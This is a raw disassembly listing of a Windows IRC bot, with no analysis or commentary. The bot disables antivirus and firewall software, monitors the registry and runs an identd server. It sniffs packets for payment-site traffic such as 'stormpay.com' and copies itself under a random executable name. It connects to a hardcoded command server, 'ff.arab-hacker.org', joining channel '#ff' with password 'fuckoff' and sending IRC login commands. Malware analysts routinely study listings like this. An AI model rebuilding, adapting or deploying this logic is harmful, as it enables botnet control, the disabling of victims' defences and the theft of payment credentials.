call dword_44B758 ; closesocket
push [ebp+var_30]
call sub_416507
pop ecx
push esi
call ds:dword_4942FC
loc_40BA47: ; CODE XREF: sub_40B86A+177j
push ebx
mov ebx, offset aStormpay_com ; "stormpay.com"
loc_40BA4D: ; CODE XREF: sub_40B86A+21Bj
; sub_40B86A+22Dj ...
mov edi, 0FFFFh
lea eax, [ebp+var_102B4]
push edi
push esi
push eax
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push edi
push eax
push [ebp+var_4]
call dword_44B6D8 ; recv
cmp eax, 0FFFFFFFFh
jz loc_40BB5F
cmp [ebp+var_102AB], 6
jnz short loc_40BA4D
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_40BA4D
lea eax, [ebp+var_1028C]
push offset aPsniff ; "[PSNIFF]"
push eax
call sub_419AB0
pop ecx
test eax, eax
pop ecx
jnz short loc_40BA4D
mov eax, ebx
xor edi, edi
test eax, eax
jz short loc_40BA4D
mov [ebp+arg_0], ebx
loc_40BABB: ; CODE XREF: sub_40B86A+26Cj
push eax
lea eax, [ebp+var_1028C]
push eax
call sub_419AB0
pop ecx
test eax, eax
pop ecx
jnz short loc_40BADD
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_40BABB
jmp loc_40BA4D
; ---------------------------------------------------------------------------
loc_40BADD: ; CODE XREF: sub_40B86A+262j
lea eax, [ebp+var_1028C]
push eax
push [ebp+var_102A0]
call dword_44B5FC ; htons
movzx eax, ax
push eax
push [ebp+var_C]
call dword_44B74C ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, dword_43DFA4[eax*8]
push off_43DF88[eax*4]
lea eax, [ebp+var_2B4]
push offset aPsniffSuspicio ; "[PSNIFF]: Suspicious %s packet from: %s"...
push 200h
push eax
call sub_418EF0
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_40BB4D
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40842D
add esp, 14h
loc_40BB4D: ; CODE XREF: sub_40B86A+2C1j
lea eax, [ebp+var_2B4]
push eax
call sub_4035E1
pop ecx
jmp loc_40BA4D
; ---------------------------------------------------------------------------
loc_40BB5F: ; CODE XREF: sub_40B86A+20Ej
call dword_44B654 ; WSAGetLastError
push eax
push offset aPsniffErrorRec ; "[PSNIFF]: Error: recv() failed, returne"...
lea eax, [ebp+var_2B4]
push 200h
push eax
call sub_418EF0
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_40BBA5
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40842D
add esp, 14h
loc_40BBA5: ; CODE XREF: sub_40B86A+319j
lea eax, [ebp+var_2B4]
push eax
call sub_4035E1
pop ecx
push [ebp+var_4]
call dword_44B758 ; closesocket
push [ebp+var_30]
call sub_416507
pop ecx
push esi
call ds:dword_4942FC
sub_40B86A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BBCB proc near ; CODE XREF: sub_41B970+121p
var_99C = dword ptr -99Ch
var_98C = byte ptr -98Ch
var_888 = byte ptr -888h
var_887 = byte ptr -887h
var_6F8 = byte ptr -6F8h
var_5F8 = byte ptr -5F8h
var_4F8 = byte ptr -4F8h
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_1EC = byte ptr -1ECh
var_E8 = dword ptr -0E8h
var_DC = dword ptr -0DCh
var_BC = dword ptr -0BCh
var_B8 = word ptr -0B8h
var_A4 = byte ptr -0A4h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 98Ch
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_10], ebx
mov [ebp+var_C], offset sub_405938
push [ebp+var_C]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, ds:dword_494308
call esi
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_491BE8, eax
call esi
push eax
call sub_418FF0
pop ecx
call sub_40888A
push 2
call dword_44B76C ; SetErrorMode
push 7530h
push offset aFenr ; "FEnR"
push ebx
push ebx
call ds:dword_4943D0
push eax
call ds:dword_4943CC
cmp eax, 102h
jnz short loc_40BC4B
push 1
call ds:dword_49432C
loc_40BC4B: ; CODE XREF: sub_40BBCB+76j
lea eax, [ebp+var_888]
push eax
push 202h
call dword_44B638 ; WSAStartup
cmp eax, ebx
mov [ebp+var_C], eax
jnz loc_40C221
cmp [ebp+var_888], 2
jnz loc_40C21B
xor eax, eax
mov al, [ebp+var_887]
cmp al, 2
jnz loc_40C21B
mov esi, 104h
lea eax, [ebp+var_3F4]
push esi
push eax
call ds:dword_494320
lea eax, [ebp+var_2F0]
push esi
push eax
push ebx
call ds:dword_494380
push eax
call ds:dword_4942F8
lea eax, [ebp+var_6F8]
push eax
lea eax, [ebp+var_5F8]
push eax
push ebx
lea eax, [ebp+var_2F0]
push ebx
push eax
call sub_41B4D0
lea eax, [ebp+var_6F8]
push eax
lea eax, [ebp+var_5F8]
push eax
push offset aSS_8 ; "%s%s"
lea eax, [ebp+var_4F8]
push esi
push eax
call sub_418EF0
lea eax, [ebp+var_3F4]
push eax
lea eax, [ebp+var_2F0]
push eax
call sub_419AB0
add esp, 30h
test eax, eax
jnz loc_40BEC0
cmp dword_43E1B0, ebx
mov esi, offset aAmngesiyko_exe ; "amngesiyko.exe"
jz short loc_40BD46
push esi
xor edi, edi
call sub_418E70
sub eax, 4
pop ecx
jz short loc_40BD46
loc_40BD23: ; CODE XREF: sub_40BBCB+179j
call sub_419000
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte ptr aAmngesiyko_exe[edi], dl ; "amngesiyko.exe"
inc edi
call sub_418E70
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_40BD23
loc_40BD46: ; CODE XREF: sub_40BBCB+148j
; sub_40BBCB+156j
lea eax, [ebp+var_3F4]
push esi
push eax
lea eax, [ebp+var_1EC]
push offset aSS_9 ; "%s\\%s"
push eax
call sub_418D70
add esp, 10h
lea eax, [ebp+var_1EC]
push eax
call ds:dword_49437C
cmp eax, 0FFFFFFFFh
jz short loc_40BD86
lea eax, [ebp+var_1EC]
push 80h
push eax
call ds:dword_4943A8
loc_40BD86: ; CODE XREF: sub_40BBCB+1A7j
mov esi, ds:dword_4943C8
lea eax, [ebp+var_1EC]
push ebx
push eax
lea eax, [ebp+var_2F0]
xor edi, edi
push eax
loc_40BD9D: ; CODE XREF: sub_40BBCB+209j
call esi
test eax, eax
jnz short loc_40BDD6
call ds:dword_4942F0
cmp edi, ebx
jnz short loc_40BDD6
cmp eax, 20h
jz short loc_40BDB7
cmp eax, 5
jnz short loc_40BDD6
loc_40BDB7: ; CODE XREF: sub_40BBCB+1E5j
push 1
pop edi
push 3A98h
call ds:dword_4942D8
lea eax, [ebp+var_1EC]
push ebx
push eax
lea eax, [ebp+var_2F0]
push eax
jmp short loc_40BD9D
; ---------------------------------------------------------------------------
loc_40BDD6: ; CODE XREF: sub_40BBCB+1D6j
; sub_40BBCB+1E0j ...
lea eax, [ebp+var_1EC]
push eax
call sub_409BEA
pop ecx
lea eax, [ebp+var_1EC]
push 7
push eax
call ds:dword_4943A8
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
call sub_4189A0
push 44h
lea eax, [ebp+var_E8]
pop esi
push esi
push ebx
push eax
call sub_4189A0
add esp, 18h
mov [ebp+var_E8], esi
mov [ebp+var_DC], offset dword_491D74
mov [ebp+var_B8], bx
push 1
pop esi
mov [ebp+var_BC], esi
call ds:dword_4943C4
push eax
push esi
push 100000h
call ds:dword_494370
lea ecx, [ebp+var_2F0]
push ecx
push eax
lea eax, [ebp+var_1EC]
push eax
lea eax, [ebp+var_98C]
push offset aSDS ; "%s %d \"%s\""
push eax
call sub_418D70
add esp, 14h
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_E8]
push eax
lea eax, [ebp+var_3F4]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_98C]
push ebx
push eax
lea eax, [ebp+var_1EC]
push eax
call ds:dword_494330
test eax, eax
jz short loc_40BEC0
push 0C8h
call ds:dword_4942D8
push [ebp+var_24]
mov esi, ds:dword_4942E0
call esi
push [ebp+var_20]
call esi
call dword_44B620 ; WSACleanup
push ebx
call ds:dword_49432C
loc_40BEC0: ; CODE XREF: sub_40BBCB+137j
; sub_40BBCB+2CBj
cmp dword_4920A4, 2
jle short loc_40BF0C
mov eax, dword_4920A8
push dword ptr [eax+4]
call sub_4195F0
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call ds:dword_4943CC
push esi
call ds:dword_4942E0
mov eax, dword_4920A8
cmp [eax+8], ebx
jz short loc_40BF0C
push 7D0h
call ds:dword_4942D8
mov eax, dword_4920A8
push dword ptr [eax+8]
call ds:dword_4943C0
loc_40BF0C: ; CODE XREF: sub_40BBCB+2FCj
; sub_40BBCB+326j
cmp dword_43E1B4, ebx
jz short loc_40BF29
cmp dword_44B790, ebx
jnz short loc_40BF29
lea eax, [ebp+var_4F8]
push eax
call sub_4038C0
pop ecx
loc_40BF29: ; CODE XREF: sub_40BBCB+347j
; sub_40BBCB+34Fj
lea eax, [ebp+var_A4]
push offset aMainBotStarted ; "[MAIN]: Bot started."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_A4]
push ebx
push eax
call sub_4161EB
lea eax, [ebp+var_A4]
push eax
call sub_4035E1
push 0B80h
push ebx
push offset dword_44C2D8
call sub_4189A0
lea eax, [ebp+var_A4]
push offset aProcsAvFwKille ; "[PROCS]: AV/FW Killer active."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_A4]
push 1
push eax
call sub_4161EB
add esp, 38h
mov edi, eax
mov esi, ds:dword_4942F4
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
push offset sub_40B84A
push ebx
push ebx
call esi
imul edi, 234h
cmp eax, ebx
mov dword_44D06C[edi], eax
jnz short loc_40BFC9
call ds:dword_4942F0
push eax
lea eax, [ebp+var_A4]
push offset aProcsFailedToS ; "[PROCS]: Failed to start AV/FW killer t"...
push eax
call sub_418D70
add esp, 0Ch
loc_40BFC9: ; CODE XREF: sub_40BBCB+3E1j
lea eax, [ebp+var_A4]
push eax
call sub_4035E1
lea eax, [ebp+var_A4]
mov [esp+99Ch+var_99C], offset aSecureRegistry ; "[SECURE]: Registry monitor active."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_A4]
push 1
push eax
call sub_4161EB
add esp, 14h
mov edi, eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4F8]
push ebx
push eax
push offset sub_403930
push ebx
push ebx
call esi
imul edi, 234h
cmp eax, ebx
mov dword_44D06C[edi], eax
jnz short loc_40C03C
call ds:dword_4942F0
push eax
lea eax, [ebp+var_A4]
push offset aSecureFailedTo ; "[SECURE]: Failed to start registry thre"...
push eax
call sub_418D70
add esp, 0Ch
loc_40C03C: ; CODE XREF: sub_40BBCB+454j
lea eax, [ebp+var_A4]
push eax
call sub_4035E1
push 2
call sub_416433
pop ecx
test eax, eax
pop ecx
jnz short loc_40C0C1
lea eax, [ebp+var_A4]
push offset aIdentdServerRu ; "[IDENTD]: Server running on Port: 113."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_A4]
push 2
push eax
call sub_4161EB
add esp, 14h
mov edi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push edi
push offset sub_40823C
push ebx
push ebx
call esi
imul edi, 234h
cmp eax, ebx
mov dword_44D06C[edi], eax
jnz short loc_40C0B4
call ds:dword_4942F0
push eax
lea eax, [ebp+var_A4]
push offset aIdentdFailedTo ; "[IDENTD]: Failed to start server, error"...
push eax
call sub_418D70
add esp, 0Ch
loc_40C0B4: ; CODE XREF: sub_40BBCB+4CCj
lea eax, [ebp+var_A4]
push eax
call sub_4035E1
pop ecx
loc_40C0C1: ; CODE XREF: sub_40BBCB+488j
call sub_419000
push 0Ah
xor edx, edx
pop ecx
div ecx
push 7Fh
push offset aFf_arabHacker_ ; "ff.arab-hacker.org"
push offset dword_491BF4
mov dword_491D6C, edx
call sub_4191A0
mov eax, dword_43E194
push 3Fh
mov edi, offset dword_491C74
push offset aFf ; "#ff"
push edi
mov dword_491D44, eax
call sub_4191A0
push 3Fh
mov esi, offset dword_491CB4
push offset aFuckoff ; "fuckoff"
push esi
call sub_4191A0
add esp, 24h
mov dword_491D48, ebx
loc_40C11B: ; CODE XREF: sub_40BBCB+5F6j
; sub_40BBCB+601j ...
mov [ebp+var_4], ebx
loc_40C11E: ; CODE XREF: sub_40BBCB+5AAj
cmp dword_44B7A8, ebx
jnz short loc_40C13C
lea eax, [ebp+var_14]
push ebx
push eax
call dword_44B604 ; InternetGetConnectedState
test eax, eax
jnz short loc_40C13C
push 7530h
jmp short loc_40C168
; ---------------------------------------------------------------------------
loc_40C13C: ; CODE XREF: sub_40BBCB+559j
; sub_40BBCB+568j
push offset dword_491BF0
mov dword_491D68, ebx
call sub_40C22A
cmp eax, 2
mov [ebp+var_C], eax
jz loc_40C216
cmp dword_491D68, ebx
jz short loc_40C163
dec [ebp+var_4]
loc_40C163: ; CODE XREF: sub_40BBCB+593j
push 0BB8h
loc_40C168: ; CODE XREF: sub_40BBCB+56Fj
call ds:dword_4942D8
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_40C11E
cmp [ebp+var_C], 2
jz loc_40C216
cmp [ebp+var_10], ebx
jz short loc_40C1C6
push 7Fh
push offset aFf_arabHacker_ ; "ff.arab-hacker.org"
push offset dword_491BF4
call sub_4191A0
mov eax, dword_43E194
push 3Fh
push offset aFf ; "#ff"
push edi
mov dword_491D44, eax
call sub_4191A0
push 3Fh
push offset aFuckoff ; "fuckoff"
push esi
call sub_4191A0
add esp, 24h
mov [ebp+var_10], ebx
jmp loc_40C11B
; ---------------------------------------------------------------------------
loc_40C1C6: ; CODE XREF: sub_40BBCB+5B9j
cmp byte_491D5C, bl
jz loc_40C11B
push 7Fh
push offset byte_491D5C
push offset dword_491BF4
call sub_4191A0
mov eax, dword_43E198
push 3Fh
push offset dword_491D60
push edi
mov dword_491D44, eax
call sub_4191A0
push 3Fh
push offset dword_491D64
push esi
call sub_4191A0
add esp, 24h
mov [ebp+var_10], 1
jmp loc_40C11B
; ---------------------------------------------------------------------------
loc_40C216: ; CODE XREF: sub_40BBCB+587j
; sub_40BBCB+5B0j
call sub_4163B4
loc_40C21B: ; CODE XREF: sub_40BBCB+A4j
; sub_40BBCB+B4j
call dword_44B620 ; WSACleanup
loc_40C221: ; CODE XREF: sub_40BBCB+97j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_40BBCB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C22A proc near ; CODE XREF: sub_40BBCB+57Cp
; DATA XREF: sub_40C50A+3B13o
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_40C24F: ; CODE XREF: sub_40C22A+E6j
; sub_40C22A+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_44B6C0 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40AED0
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40C37C
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_4189A0
push 0
lea eax, [ebp+var_2C]
push dword_43E1C4
push dword_43E1C0
push eax
call sub_4138AA
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_44D070
push edi
push eax
call sub_4191A0
add esp, 28h
push 6
push 1
push 2
call dword_44B740 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_44D064[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_44B668 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40C315
push esi
call dword_44B758 ; closesocket
call sub_40AEF9
push 7D0h
loc_40C30A: ; CODE XREF: sub_40C22A+146j
call ds:dword_4942D8
jmp loc_40C24F
; ---------------------------------------------------------------------------
loc_40C315: ; CODE XREF: sub_40C22A+CDj
lea eax, [ebp+var_18C]
push eax
push offset aMainConnectedT ; "[MAIN]: Connected to %s."
call sub_403655
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_40C392
add esp, 28h
mov edi, eax
push esi
call dword_44B758 ; closesocket
test edi, edi
jz loc_40C24F
cmp edi, 1
jnz short loc_40C372
push 0DBBA0h
jmp short loc_40C30A
; ---------------------------------------------------------------------------
loc_40C372: ; CODE XREF: sub_40C22A+13Fj
cmp edi, 2
jz short loc_40C380
jmp loc_40C24F
; ---------------------------------------------------------------------------
loc_40C37C: ; CODE XREF: sub_40C22A+5Aj
xor eax, eax
jmp short loc_40C38C
; ---------------------------------------------------------------------------
loc_40C380: ; CODE XREF: sub_40C22A+14Bj
push [ebp+var_34]
call sub_416507
pop ecx
push 2
pop eax
loc_40C38C: ; CODE XREF: sub_40C22A+154j
pop edi
pop esi
leave
retn 4
sub_40C22A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C392 proc near ; CODE XREF: sub_40C22A+123p
var_1A10 = byte ptr -1A10h
var_A10 = byte ptr -0A10h
var_240 = byte ptr -240h
var_1A0 = byte ptr -1A0h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A10h
call sub_418D40
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+var_1A0]
pop ecx
loc_40C3B0: ; CODE XREF: sub_40C392+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_40C3B0
cmp byte_491D58, bl
jz short loc_40C3D7
push offset byte_491D58
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_4083E7
add esp, 0Ch
loc_40C3D7: ; CODE XREF: sub_40C392+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_4138AA
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_418D70
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40C441
push [ebp+arg_0]
call dword_44B758 ; closesocket
push 1388h
call ds:dword_4942D8
loc_40C43A: ; CODE XREF: sub_40C392+D9j
; sub_40C392+153j
xor eax, eax
loc_40C43C: ; CODE XREF: sub_40C392+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40C441: ; CODE XREF: sub_40C392+92j
; sub_40C392+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A10]
push esi
push ebx
push eax
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+var_1A10]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_44B6D8 ; recv
test eax, eax
jle short loc_40C43A
lea eax, [ebp+var_A10]
push eax
lea eax, [ebp+var_1A10]
push eax
call sub_4098D3
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_40C441
lea edi, [ebp+var_A10]
loc_40C492: ; CODE XREF: sub_40C392+165j
push 1
pop esi
loc_40C495: ; CODE XREF: sub_40C392+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_240]
push eax
lea eax, [ebp+var_1A0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_40C50A
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_40C4D8
push 7D0h
call ds:dword_4942D8
jmp short loc_40C495
; ---------------------------------------------------------------------------
loc_40C4D8: ; CODE XREF: sub_40C392+137j
cmp esi, 0FFFFFFFDh
jz short loc_40C502
cmp esi, 0FFFFFFFEh
jz short loc_40C4FE
cmp esi, 0FFFFFFFFh
jz loc_40C43A
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_40C492
jmp loc_40C441
; ---------------------------------------------------------------------------
loc_40C4FE: ; CODE XREF: sub_40C392+14Ej
push 1
jmp short loc_40C504
; ---------------------------------------------------------------------------
loc_40C502: ; CODE XREF: sub_40C392+149j
push 2
loc_40C504: ; CODE XREF: sub_40C392+16Ej
pop eax
jmp loc_40C43C
sub_40C392 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C50A proc near ; CODE XREF: sub_40C392+12Ap
var_15B0 = byte ptr -15B0h
var_11B0 = byte ptr -11B0h
var_FB0 = byte ptr -0FB0h
var_DB0 = byte ptr -0DB0h
var_CB0 = byte ptr -0CB0h
var_CAC = byte ptr -0CACh
var_BAC = byte ptr -0BACh
var_BA8 = byte ptr -0BA8h
var_AA8 = byte ptr -0AA8h
var_A28 = byte ptr -0A28h
var_9C7 = byte ptr -9C7h
var_9C6 = byte ptr -9C6h
var_9C4 = byte ptr -9C4h
var_9C3 = byte ptr -9C3h
var_9BA = byte ptr -9BAh
var_9B8 = byte ptr -9B8h
var_9B6 = byte ptr -9B6h
var_9B5 = byte ptr -9B5h
var_928 = byte ptr -928h
var_90C = dword ptr -90Ch
var_908 = byte ptr -908h
var_804 = dword ptr -804h
var_800 = dword ptr -800h
var_7FC = byte ptr -7FCh
var_7F8 = dword ptr -7F8h
var_7F4 = byte ptr -7F4h
var_7F0 = dword ptr -7F0h
var_7EC = dword ptr -7ECh
var_7E8 = byte ptr -7E8h
var_780 = byte ptr -780h
var_774 = byte ptr -774h
var_770 = dword ptr -770h
var_76C = byte ptr -76Ch
var_768 = byte ptr -768h
var_75C = byte ptr -75Ch
var_73C = dword ptr -73Ch
var_738 = byte ptr -738h
var_710 = dword ptr -710h
var_708 = byte ptr -708h
var_6FC = dword ptr -6FCh
var_6F8 = byte ptr -6F8h
var_6F4 = byte ptr -6F4h
var_6F0 = dword ptr -6F0h
var_6EC = byte ptr -6ECh
var_6E8 = byte ptr -6E8h
var_6B8 = byte ptr -6B8h
var_681 = byte ptr -681h
var_680 = byte ptr -680h
var_678 = byte ptr -678h
var_670 = byte ptr -670h
var_66C = byte ptr -66Ch
var_668 = byte ptr -668h
var_5F8 = byte ptr -5F8h
var_5F4 = dword ptr -5F4h
var_5F0 = dword ptr -5F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_578 = dword ptr -578h
var_574 = dword ptr -574h
var_570 = dword ptr -570h
var_56C = dword ptr -56Ch
var_568 = dword ptr -568h
var_564 = dword ptr -564h
var_560 = dword ptr -560h
var_55C = byte ptr -55Ch
var_50C = dword ptr -50Ch
var_508 = byte ptr -508h
var_504 = dword ptr -504h
var_500 = byte ptr -500h
var_4F4 = dword ptr -4F4h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = byte ptr -4E8h
var_4C0 = byte ptr -4C0h
var_4A0 = dword ptr -4A0h
var_488 = byte ptr -488h
var_480 = dword ptr -480h
var_47C = dword ptr -47Ch
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = byte ptr -45Ch
var_458 = byte ptr -458h
var_444 = byte ptr -444h
var_434 = byte ptr -434h
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = byte ptr -418h
var_40C = dword ptr -40Ch
var_408 = byte ptr -408h
var_3FC = byte ptr -3FCh
var_3F8 = byte ptr -3F8h
var_3D8 = byte ptr -3D8h
var_3B4 = byte ptr -3B4h
var_398 = byte ptr -398h
var_388 = byte ptr -388h
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2EC = word ptr -2ECh
var_2EA = word ptr -2EAh
var_2E8 = dword ptr -2E8h
var_2DC = byte ptr -2DCh
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D4 = byte ptr -0D4h
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_A8 = dword ptr -0A8h
var_A4 = byte ptr -0A4h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_54 = byte ptr -54h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 15B0h
call sub_418D40
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2DC]
push ebx
push eax
mov [ebp+var_BC], 3
mov [ebp+var_10], ebx
mov [ebp+var_B8], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_D8], ebx
call sub_4189A0
push 1Bh
lea eax, [ebp+var_928]
push [ebp+arg_10]
push eax
call sub_4191A0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_40C97C
push esi
lea eax, [ebp+var_FB0]
push ebx
push eax
call sub_4189A0
dec esi
lea eax, [ebp+var_FB0]
push esi
push [ebp+arg_0]
push eax
call sub_4191A0
lea eax, [ebp+var_FB0]
push offset asc_43ED84 ; " :"
push eax
call sub_419AB0
mov [ebp+var_C], eax
lea eax, [ebp+var_FB0]
push esi
push eax
lea eax, [ebp+var_11B0]
push eax
call sub_4191A0
lea eax, [ebp+var_11B0]
push offset asc_43ED88 ; " "
push eax
call sub_419890
add esp, 34h
mov [ebp+var_94], eax
lea esi, [ebp+var_90]
push 1Fh
pop edi
loc_40C5D5: ; CODE XREF: sub_40C50A+DEj
push offset asc_43ED8C ; " "
push ebx
call sub_419890
mov [esi], eax
pop ecx
add esi, 4
dec edi
pop ecx
jnz short loc_40C5D5
mov esi, [ebp+var_94]
cmp esi, ebx
jz loc_40C97C
cmp [ebp+var_90], ebx
jz loc_40C97C
push 100h
lea eax, [ebp+var_A28]
push ebx
push eax
call sub_4189A0
add esp, 0Ch
lea ecx, [ebp+var_18]
push 1Fh
pop edx
push 1
pop edi
loc_40C622: ; CODE XREF: sub_40C50A+14Aj
mov eax, [ecx]
cmp eax, ebx
jz short loc_40C64E
cmp byte ptr [eax], 2Dh
jnz short loc_40C656
cmp [eax+2], bl
jnz short loc_40C656
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_A28], 1
mov esi, [ebp+var_94]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_40C64E: ; CODE XREF: sub_40C50A+11Cj
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_40C622
loc_40C656: ; CODE XREF: sub_40C50A+121j
; sub_40C50A+126j
cmp [ebp+var_9B5], bl
jz short loc_40C661
mov [ebp+var_8], edi
loc_40C661: ; CODE XREF: sub_40C50A+152j
cmp [ebp+var_9BA], bl
jz short loc_40C66F
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_40C66F: ; CODE XREF: sub_40C50A+15Dj
cmp byte ptr [esi], 0Ah
jz short loc_40C6A9
